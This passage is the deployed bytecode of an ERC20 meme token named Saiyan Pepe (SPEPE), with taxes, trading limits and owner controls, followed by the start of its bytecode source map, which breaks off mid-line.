0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102c2578063c876d0b9146102d7578063c9567bf9146102ec578063dd62ed3e14610301578063e1c7392a146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806350bdc855146101f557806370a082311461020c578063715018a61461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b6040516101469190611500565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611434565b61035c565b60405161014691906114f5565b34801561018857600080fd5b5061019161037a565b604051610146919061189b565b3480156101aa57600080fd5b50610191610380565b3480156101bf57600080fd5b5061016f6101ce3660046113f4565b6103a1565b3480156101df57600080fd5b506101e8610429565b6040516101469190611914565b34801561020157600080fd5b5061020a61042e565b005b34801561021857600080fd5b50610191610227366004611384565b610502565b34801561023857600080fd5b5061020a61051d565b34801561024d57600080fd5b5061019161059c565b34801561026257600080fd5b5061026b6105a2565b604051610146919061148c565b34801561028457600080fd5b506101916105b1565b34801561029957600080fd5b506101396105b7565b3480156102ae57600080fd5b5061016f6102bd366004611434565b6105d6565b3480156102ce57600080fd5b506101916105ea565b3480156102e357600080fd5b5061016f6105f0565b3480156102f857600080fd5b5061020a6105f9565b34801561030d57600080fd5b5061019161031c3660046113bc565b610652565b34801561032d57600080fd5b5061020a61067d565b60408051808201909152600b81526a53616979616e205065706560a81b60208201525b90565b6000610370610369610946565b848461094a565b5060015b92915050565b60155481565b600061038e6009600a6119a0565b61039c90633b9aca00611a71565b905090565b60006103ae8484846109fe565b61041e846103ba610946565b61041985604051806060016040528060288152602001611af1602891396001600160a01b038a166000908152600260205260408120906103f8610946565b6001600160a01b031681526020810191909152604001600020549190610e48565b61094a565b5060015b9392505050565b600990565b610436610946565b6000546001600160a01b0390811691161461046c5760405162461bcd60e51b8152600401610463906116f6565b60405180910390fd5b6104786009600a6119a0565b61048690633b9aca00611a71565b6012556104956009600a6119a0565b6104a390633b9aca00611a71565b6013556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104dd6009600a6119a0565b6104eb90633b9aca00611a71565b6040516104f8919061189b565b60405180910390a1565b6001600160a01b031660009081526001602052604090205490565b610525610946565b6000546001600160a01b039081169116146105525760405162461bcd60e51b8152600401610463906116f6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60125481565b6000546001600160a01b031690565b60135481565b604080518082019091526005815264535045504560d81b602082015290565b60006103706105e3610946565b84846109fe565b60145481565b60065460ff1681565b610601610946565b6000546001600160a01b0390811691161461062e5760405162461bcd60e51b8152600401610463906116f6565b6017805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610685610946565b6000546001600160a01b039081169116146106b25760405162461bcd60e51b8152600401610463906116f6565b601754600160a01b900460ff16156106dc5760405162461bcd60e51b815260040161046390611834565b6016546107089030906001600160a01b03166106fa6009600a6119a0565b61041990633b9aca00611a71565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075657600080fd5b505afa15801561076a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078e91906113a0565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906113a0565b6040518363ffffffff1660e01b81526004016108409291906114a0565b602060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906113a0565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d71947306108c281610502565b6000806108cd6105a2565b426040518863ffffffff1660e01b81526004016108ef969594939291906114ba565b6060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061145f565b505050565b3390565b6001600160a01b0383166109705760405162461bcd60e51b8152600401610463906117f0565b6001600160a01b0382166109965760405162461bcd60e51b8152600401610463906115cd565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109f190859061189b565b60405180910390a3505050565b6001600160a01b038316610a245760405162461bcd60e51b815260040161046390611774565b6001600160a01b038216610a4a5760405162461bcd60e51b815260040161046390611553565b60008111610a6a5760405162461bcd60e51b81526004016104639061172b565b6000610a746105a2565b6001600160a01b0316846001600160a01b031614158015610aae5750610a986105a2565b6001600160a01b0316836001600160a01b031614155b8015610ac357506001600160a01b0384163014155b8015610ad857506001600160a01b0383163014155b15610d6957610ae5610e82565b60065490915060ff1615610b65576016546001600160a01b03848116911614801590610b1f57506017546001600160a01b03848116911614155b15610b6557326000908152600560205260409020544311610b525760405162461bcd60e51b815260040161046390611646565b3260009081526005602052604090204390555b601754600160a01b900460ff16610bd1576001600160a01b03841660009081526004602052604090205460ff1680610bb557506001600160a01b03831660009081526004602052604090205460ff165b610bd15760405162461bcd60e51b81526004016104639061186b565b6017546001600160a01b038581169116148015610bfc57506016546001600160a01b03848116911614155b8015610c2157506001600160a01b03831660009081526004602052604090205460ff16155b15610c9357601254821115610c485760405162461bcd60e51b815260040161046390611596565b60135482610c5585610502565b610c5f9190611922565b1115610c7d5760405162461bcd60e51b8152600401610463906117b9565b60118054906000610c8d83611aa7565b91905055505b6017546001600160a01b038481169116148015610cb957506001600160a01b0384163014155b15610cc957610cc6610ec4565b90505b6000610cd430610502565b601754909150600160a81b900460ff16158015610cfe57506017546001600160a01b038581169116145b8015610d135750601754600160b01b900460ff165b8015610d20575060145483115b8015610d2f5750601054601154115b15610d6757601454811115610d5b57610d5b610d5684610d5184601554610f06565b610f06565b610f1b565b47610d65476110c0565b505b505b6000610d7785858585611102565b6001600160a01b038616600090815260016020526040902054909150610d9d9084611263565b6001600160a01b038616600090815260016020526040902055610de2610dc38483611263565b6001600160a01b038616600090815260016020526040902054906112a5565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2c8685611263565b604051610e39919061189b565b60405180910390a35050505050565b60008184841115610e6c5760405162461bcd60e51b81526004016104639190611500565b506000610e798486611a90565b95945050505050565b600060095460115411610e985750600754610359565b600954601154118015610eaf5750600c5460115411155b15610ebd5750600a54610359565b50600d5490565b600060095460115411610eda5750600854610359565b600954601154118015610ef15750600c5460115411155b15610eff5750600b54610359565b50600e5490565b6000818311610f155782610422565b50919050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd91906113a0565b8160018151811061101e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611044913091168461094a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061107d9085906000908690309042906004016118a4565b600060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110fe573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604081205460ff168061114157506001600160a01b03841660009081526003602052604090205460ff165b156111c557600061116c6064611166600d54606461115f9190611a90565b87906112d4565b90611319565b60065461010090046001600160a01b031660009081526001602052604090205490915061119990826112a5565b60065461010090046001600160a01b0316600090815260016020526040812091909155915061125b9050565b81156112575760006111dc606461116686866112d4565b306000908152600160205260409020549091506111f990826112a5565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061124890859061189b565b60405180910390a3905061125b565b5060005b949350505050565b600061042283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e48565b6000806112b28385611922565b9050838110156104225760405162461bcd60e51b81526004016104639061160f565b6000826112e357506000610374565b60006112ef8385611a71565b9050826112fc858361193a565b146104225760405162461bcd60e51b8152600401610463906116b5565b600061042283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836113775760405162461bcd60e51b81526004016104639190611500565b506000610e79848661193a565b600060208284031215611395578081fd5b813561042281611ad8565b6000602082840312156113b1578081fd5b815161042281611ad8565b600080604083850312156113ce578081fd5b82356113d981611ad8565b915060208301356113e981611ad8565b809150509250929050565b600080600060608486031215611408578081fd5b833561141381611ad8565b9250602084013561142381611ad8565b929592945050506040919091013590565b60008060408385031215611446578182fd5b823561145181611ad8565b946020939093013593505050565b600080600060608486031215611473578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561152c57858101830151858201604001528201611510565b8181111561153d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b602080825260169082015275151c98591a5b99c81a5cc81b9bdd081858dd1a5d995960521b604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118f35784516001600160a01b0316835293830193918301916001016118ce565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561193557611935611ac2565b500190565b60008261195557634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161196c5750611997565b81870482111561197e5761197e611ac2565b8086161561198b57918102915b9490941c93800261195d565b94509492505050565b600061042260001960ff8516846000826119bc57506001610422565b816119c957506000610422565b81600181146119df57600281146119e957611a16565b6001915050610422565b60ff8411156119fa576119fa611ac2565b6001841b915084821115611a1057611a10611ac2565b50610422565b5060208310610133831016604e8410600b8410161715611a49575081810a83811115611a4457611a44611ac2565b610422565b611a56848484600161195a565b808604821115611a6857611a68611ac2565b02949350505050565b6000816000190483118215151615611a8b57611a8b611ac2565b500290565b600082821015611aa257611aa2611ac2565b500390565b6000600019821415611abb57611abb611ac2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611aed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9f19678534f08f61ecfbbff3cf331b0e01c8d46428b49d9ae75685f15c7b21264736f6c63430008010033

Deployed Bytecode Sourcemap

3871:9805:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6079:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6959:186;;;;;;;;;;-1:-1:-1;6959:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5236:48::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6356:95::-;;;;;;;;;;;;;:::i;7153:446::-;;;;;;;;;;-1:-1:-1;7153:446:0;;;;;:::i;:::-;;:::i;6265:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;12680:201::-;;;;;;;;;;;;;:::i;:::-;;6459:116;;;;;;;;;;-1:-1:-1;6459:116:0;;;;;:::i;:::-;;:::i;3025:148::-;;;;;;;;;;;;;:::i;5056:49::-;;;;;;;;;;;;;:::i;2811:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5112:51::-;;;;;;;;;;;;;:::i;6170:87::-;;;;;;;;;;;;;:::i;6583:192::-;;;;;;;;;;-1:-1:-1;6583:192:0;;;;;:::i;:::-;;:::i;5170:59::-;;;;;;;;;;;;;:::i;4254:40::-;;;;;;;;;;;;;:::i;13568:105::-;;;;;;;;;;;;;:::i;6783:168::-;;;;;;;;;;-1:-1:-1;6783:168:0;;;;;:::i;:::-;;:::i;12988:535::-;;;;;;;;;;;;;:::i;6079:83::-;6149:5;;;;;;;;;;;;-1:-1:-1;;;6149:5:0;;;;6079:83;;:::o;6959:186::-;7059:4;7076:39;7085:12;:10;:12::i;:::-;7099:7;7108:6;7076:8;:39::i;:::-;-1:-1:-1;7133:4:0;6959:186;;;;;:::o;5236:48::-;;;;:::o;6356:95::-;6409:7;4918:15;4859:1;4918:2;:15;:::i;:::-;4902:31;;:13;:31;:::i;:::-;6429:14;;6356:95;:::o;7153:446::-;7285:4;7302:36;7312:6;7320:9;7331:6;7302:9;:36::i;:::-;7349:220;7372:6;7393:12;:10;:12::i;:::-;7420:138;7476:6;7420:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7420:19:0;;;;;;:11;:19;;;;;;7440:12;:10;:12::i;:::-;-1:-1:-1;;;;;7420:33:0;;;;;;;;;;;;-1:-1:-1;7420:33:0;;;:138;:37;:138::i;:::-;7349:8;:220::i;:::-;-1:-1:-1;7587:4:0;7153:446;;;;;;:::o;6265:83::-;4859:1;6265:83;:::o;12680:201::-;2948:12;:10;:12::i;:::-;2938:6;;-1:-1:-1;;;;;2938:6:0;;;:22;;;2930:67;;;;-1:-1:-1;;;2930:67:0;;;;;;;:::i;:::-;;;;;;;;;4918:15:::1;4859:1;4918:2;:15;:::i;:::-;4902:31;::::0;:13:::1;:31;:::i;:::-;12734:12;:22:::0;4918:15:::1;4859:1;4918:2;:15;:::i;:::-;4902:31;::::0;:13:::1;:31;:::i;:::-;12767:14;:24:::0;12802:20:::1;:28:::0;;-1:-1:-1;;12802:28:0::1;::::0;;12846:27:::1;4918:15;4859:1;4918:2;:15;:::i;:::-;4902:31;::::0;:13:::1;:31;:::i;:::-;12846:27;;;;;;:::i;:::-;;;;;;;;12680:201::o:0;6459:116::-;-1:-1:-1;;;;;6552:15:0;6525:7;6552:15;;;:6;:15;;;;;;;6459:116::o;3025:148::-;2948:12;:10;:12::i;:::-;2938:6;;-1:-1:-1;;;;;2938:6:0;;;:22;;;2930:67;;;;-1:-1:-1;;;2930:67:0;;;;;;;:::i;:::-;3132:1:::1;3116:6:::0;;3095:40:::1;::::0;-1:-1:-1;;;;;3116:6:0;;::::1;::::0;3095:40:::1;::::0;3132:1;;3095:40:::1;3163:1;3146:19:::0;;-1:-1:-1;;;;;;3146:19:0::1;::::0;;3025:148::o;5056:49::-;;;;:::o;2811:79::-;2849:7;2876:6;-1:-1:-1;;;;;2876:6:0;2811:79;:::o;5112:51::-;;;;:::o;6170:87::-;6242:7;;;;;;;;;;;;-1:-1:-1;;;6242:7:0;;;;6170:87;:::o;6583:192::-;6686:4;6703:42;6713:12;:10;:12::i;:::-;6727:9;6738:6;6703:9;:42::i;5170:59::-;;;;:::o;4254:40::-;;;;;;:::o;13568:105::-;2948:12;:10;:12::i;:::-;2938:6;;-1:-1:-1;;;;;2938:6:0;;;:22;;;2930:67;;;;-1:-1:-1;;;2930:67:0;;;;;;;:::i;:::-;13621:8:::1;:15:::0;;-1:-1:-1;;;;;;;;13621:15:0;;::::1;-1:-1:-1::0;;;13621:15:0::1;13647:18;-1:-1:-1::0;;;13647:18:0::1;::::0;;13568:105::o;6783:168::-;-1:-1:-1;;;;;6916:18:0;;;6889:7;6916:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6783:168::o;12988:535::-;2948:12;:10;:12::i;:::-;2938:6;;-1:-1:-1;;;;;2938:6:0;;;:22;;;2930:67;;;;-1:-1:-1;;;2930:67:0;;;;;;;:::i;:::-;13043:11:::1;::::0;-1:-1:-1;;;13043:11:0;::::1;;;13042:12;13034:48;;;;-1:-1:-1::0;;;13034:48:0::1;;;;;;;:::i;:::-;13125:9;::::0;13093:52:::1;::::0;13110:4:::1;::::0;-1:-1:-1;;;;;13125:9:0::1;4918:15;4859:1;4918:2;:15;:::i;:::-;4902:31;::::0;:13:::1;:31;:::i;13093:52::-;13178:9;;;;;;;;;-1:-1:-1::0;;;;;13178:9:0::1;-1:-1:-1::0;;;;;13178:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13166:43:0::1;;13232:4;13252:9;;;;;;;;;-1:-1:-1::0;;;;;13252:9:0::1;-1:-1:-1::0;;;;;13252:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13166:113;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13156:7;:123:::0;;-1:-1:-1;;;;;;13156:123:0::1;-1:-1:-1::0;;;;;13156:123:0;;::::1;;::::0;;13297:9:::1;::::0;::::1;:25;13330:21;13375:4;13395:24;13375:4:::0;13395:9:::1;:24::i;:::-;13434:1;13450::::0;13466:7:::1;:5;:7::i;:::-;13488:15;13297:217;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12988:535::o:0;201:98::-;281:10;201:98;:::o;7607:335::-;-1:-1:-1;;;;;7700:19:0;;7692:68;;;;-1:-1:-1;;;7692:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7779:21:0;;7771:68;;;;-1:-1:-1;;;7771:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7850:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7902:32;;;;;7880:6;;7902:32;:::i;:::-;;;;;;;;7607:335;;;:::o;7950:2742::-;-1:-1:-1;;;;;8038:18:0;;8030:68;;;;-1:-1:-1;;;8030:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8117:16:0;;8109:64;;;;-1:-1:-1;;;8109:64:0;;;;;;;:::i;:::-;8201:1;8192:6;:10;8184:64;;;;-1:-1:-1;;;8184:64:0;;;;;;;:::i;:::-;8259:15;8315:7;:5;:7::i;:::-;-1:-1:-1;;;;;8307:15:0;:4;-1:-1:-1;;;;;8307:15:0;;;:45;;;;;8345:7;:5;:7::i;:::-;-1:-1:-1;;;;;8339:13:0;:2;-1:-1:-1;;;;;8339:13:0;;;8307:45;:83;;;;-1:-1:-1;;;;;;8369:21:0;;8385:4;8369:21;;8307:83;:119;;;;-1:-1:-1;;;;;;8407:19:0;;8421:4;8407:19;;8307:119;8289:2156;;;8463:13;:11;:13::i;:::-;8497:20;;8453:23;;-1:-1:-1;8497:20:0;;8493:449;;;8556:9;;-1:-1:-1;;;;;8542:24:0;;;8556:9;;8542:24;;;;:50;;-1:-1:-1;8584:7:0;;-1:-1:-1;;;;;8570:22:0;;;8584:7;;8570:22;;8542:50;8538:389;;;8680:9;8651:39;;;;:28;:39;;;;;;8693:12;-1:-1:-1;8617:213:0;;;;-1:-1:-1;;;8617:213:0;;;;;;;:::i;:::-;8882:9;8853:39;;;;:28;:39;;;;;8895:12;8853:54;;8538:389;8963:11;;-1:-1:-1;;;8963:11:0;;;;8958:191;;-1:-1:-1;;;;;9025:20:0;;;;;;:14;:20;;;;;;;;;:42;;-1:-1:-1;;;;;;9049:18:0;;;;;;:14;:18;;;;;;;;9025:42;8995:138;;;;-1:-1:-1;;;8995:138:0;;;;;;;:::i;:::-;9195:7;;-1:-1:-1;;;;;9187:15:0;;;9195:7;;9187:15;:60;;;;-1:-1:-1;9237:9:0;;-1:-1:-1;;;;;9223:24:0;;;9237:9;;9223:24;;9187:60;:100;;;;-1:-1:-1;;;;;;9269:18:0;;;;;;:14;:18;;;;;;;;9268:19;9187:100;9165:422;;;9340:12;;9330:6;:22;;9322:60;;;;-1:-1:-1;;;9322:60:0;;;;;;;:::i;:::-;9457:14;;9447:6;9431:13;9441:2;9431:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9401:140;;;;-1:-1:-1;;;9401:140:0;;;;;;;:::i;:::-;9560:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9165:422;9613:7;;-1:-1:-1;;;;;9607:13:0;;;9613:7;;9607:13;:38;;;;-1:-1:-1;;;;;;9624:21:0;;9640:4;9624:21;;9607:38;9603:103;;;9676:14;:12;:14::i;:::-;9666:24;;9603:103;9722:28;9753:24;9771:4;9753:9;:24::i;:::-;9815:8;;9722:55;;-1:-1:-1;;;;9815:8:0;;;;9814:9;:43;;;;-1:-1:-1;9850:7:0;;-1:-1:-1;;;;;9844:13:0;;;9850:7;;9844:13;9814:43;:72;;;;-1:-1:-1;9878:8:0;;-1:-1:-1;;;9878:8:0;;;;9814:72;:119;;;;;9916:17;;9907:6;:26;9814:119;:170;;;;;9966:18;;9954:9;;:30;9814:170;9792:642;;;10046:17;;10023:20;:40;10019:206;;;10088:117;10131:51;10135:6;10143:38;10147:20;10169:11;;10143:3;:38::i;:::-;10131:3;:51::i;:::-;10088:16;:117::i;:::-;10272:21;10364:35;10377:21;10364:12;:35::i;:::-;9792:642;;8289:2156;;10457:17;10477:39;10490:4;10496:2;10500:6;10508:7;10477:12;:39::i;:::-;-1:-1:-1;;;;;10542:12:0;;;;;;:6;:12;;;;;;10457:59;;-1:-1:-1;10542:24:0;;10559:6;10542:16;:24::i;:::-;-1:-1:-1;;;;;10527:12:0;;;;;;:6;:12;;;;;:39;10590:37;10605:21;:6;10616:9;10605:10;:21::i;:::-;-1:-1:-1;;;;;10590:10:0;;;;;;:6;:10;;;;;;;:14;:37::i;:::-;-1:-1:-1;;;;;10577:10:0;;;;;;;:6;:10;;;;;:50;;;;10643:41;;;10662:21;:6;10673:9;10662:10;:21::i;:::-;10643:41;;;;;;:::i;:::-;;;;;;;;7950:2742;;;;;:::o;1468:224::-;1588:7;1624:12;1616:6;;;;1608:29;;;;-1:-1:-1;;;1608:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1648:9:0;1660:5;1664:1;1660;:5;:::i;:::-;1648:17;1468:224;-1:-1:-1;;;;;1468:224:0:o;10700:317::-;10745:7;10782:15;;10769:9;;:28;10765:82;;-1:-1:-1;10821:14:0;;10814:21;;10765:82;10873:15;;10861:9;;:27;:64;;;;;10905:20;;10892:9;;:33;;10861:64;10857:123;;;-1:-1:-1;10949:19:0;;10942:26;;10857:123;-1:-1:-1;10997:12:0;;10700:317;:::o;11025:321::-;11071:7;11108:15;;11095:9;;:28;11091:83;;-1:-1:-1;11147:15:0;;11140:22;;11091:83;11200:15;;11188:9;;:27;:64;;;;;11232:20;;11219:9;;:33;;11188:64;11184:124;;;-1:-1:-1;11276:20:0;;11269:27;;11184:124;-1:-1:-1;11325:13:0;;11025:321;:::o;12092:107::-;12149:7;12181:1;12177;:5;12176:15;;12190:1;12176:15;;;-1:-1:-1;12186:1:0;12169:22;-1:-1:-1;12092:107:0:o;12207:465::-;5550:8;:15;;-1:-1:-1;;;;5550:15:0;-1:-1:-1;;;5550:15:0;;;12309:16:::1;::::0;;12323:1:::1;12309:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12309:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12309:16:0::1;12285:40;;12354:4;12336;12341:1;12336:7;;;;;;-1:-1:-1::0;;;12336:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12336:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12380:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;12380:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;12336:7;;12380:16;;;;;:9;:16;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12370:4;12375:1;12370:7;;;;;;-1:-1:-1::0;;;12370:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12370:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;12439:9:::1;::::0;12407:56:::1;::::0;12424:4:::1;::::0;12439:9:::1;12451:11:::0;12407:8:::1;:56::i;:::-;12474:9;::::0;:190:::1;::::0;-1:-1:-1;;;12474:190:0;;-1:-1:-1;;;;;12474:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;12549:11;;12474:9:::1;::::0;12591:4;;12618::::1;::::0;12638:15:::1;::::0;12474:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5588:8:0;:16;;-1:-1:-1;;;;5588:16:0;;;-1:-1:-1;;;;12207:465:0:o;12889:91::-;12946:9;;:26;;:9;;;;-1:-1:-1;;;;;12946:9:0;;:26;;;;;;;;;;;;:9;:26;;;;;;;;;;;;;;;;;;;;;12889:91;:::o;11354:730::-;-1:-1:-1;;;;;11520:18:0;;11496:7;11520:18;;;:12;:18;;;;;;;;;:38;;-1:-1:-1;;;;;;11542:16:0;;;;;;:12;:16;;;;;;;;11520:38;11516:561;;;11575:21;11599:39;11634:3;11599:30;11616:12;;11610:3;:18;;;;:::i;:::-;11599:6;;:10;:30::i;:::-;:34;;:39::i;:::-;11680:9;;;;;-1:-1:-1;;;;;11680:9:0;11673:17;;;;:6;:17;;;;;;11575:63;;-1:-1:-1;11673:36:0;;11575:63;11673:21;:36::i;:::-;11660:9;;;;;-1:-1:-1;;;;;11660:9:0;11653:17;;;;:6;:17;;;;;:56;;;;:17;-1:-1:-1;11724:8:0;;-1:-1:-1;11724:8:0;11516:561;11769:11;;11765:278;;11801:17;11821:28;11845:3;11821:19;:6;11832:7;11821:10;:19::i;:28::-;11907:4;11892:21;;;;:6;:21;;;;;;11801:48;;-1:-1:-1;11892:36:0;;11801:48;11892:25;:36::i;:::-;11883:4;11868:21;;;;:6;:21;;;;;;;:60;;;;11952:40;;-1:-1:-1;;;;;11952:40:0;;;;;;;11982:9;;11952:40;:::i;:::-;;;;;;;;12018:9;-1:-1:-1;12011:16:0;;11765:278;-1:-1:-1;12064:1:0;11516:561;11354:730;;;;;;:::o;1324:136::-;1382:7;1409:43;1413:1;1416;1409:43;;;;;;;;;;;;;;;;;:3;:43::i;1137:179::-;1195:7;;1227:5;1231:1;1227;:5;:::i;:::-;1215:17;;1256:1;1251;:6;;1243:46;;;;-1:-1:-1;;;1243:46:0;;;;;;;:::i;1700:246::-;1758:7;1782:6;1778:47;;-1:-1:-1;1812:1:0;1805:8;;1778:47;1835:9;1847:5;1851:1;1847;:5;:::i;:::-;1835:17;-1:-1:-1;1880:1:0;1871:5;1875:1;1835:17;1871:5;:::i;:::-;:10;1863:56;;;;-1:-1:-1;;;1863:56:0;;;;;;;:::i;1954:132::-;2012:7;2039:39;2043:1;2046;2039:39;;;;;;;;;;;;;;;;;2214:7;2249:12;2242:5;2234:28;;;;-1:-1:-1;;;2234:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2273:9:0;2285:5;2289:1;2285;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151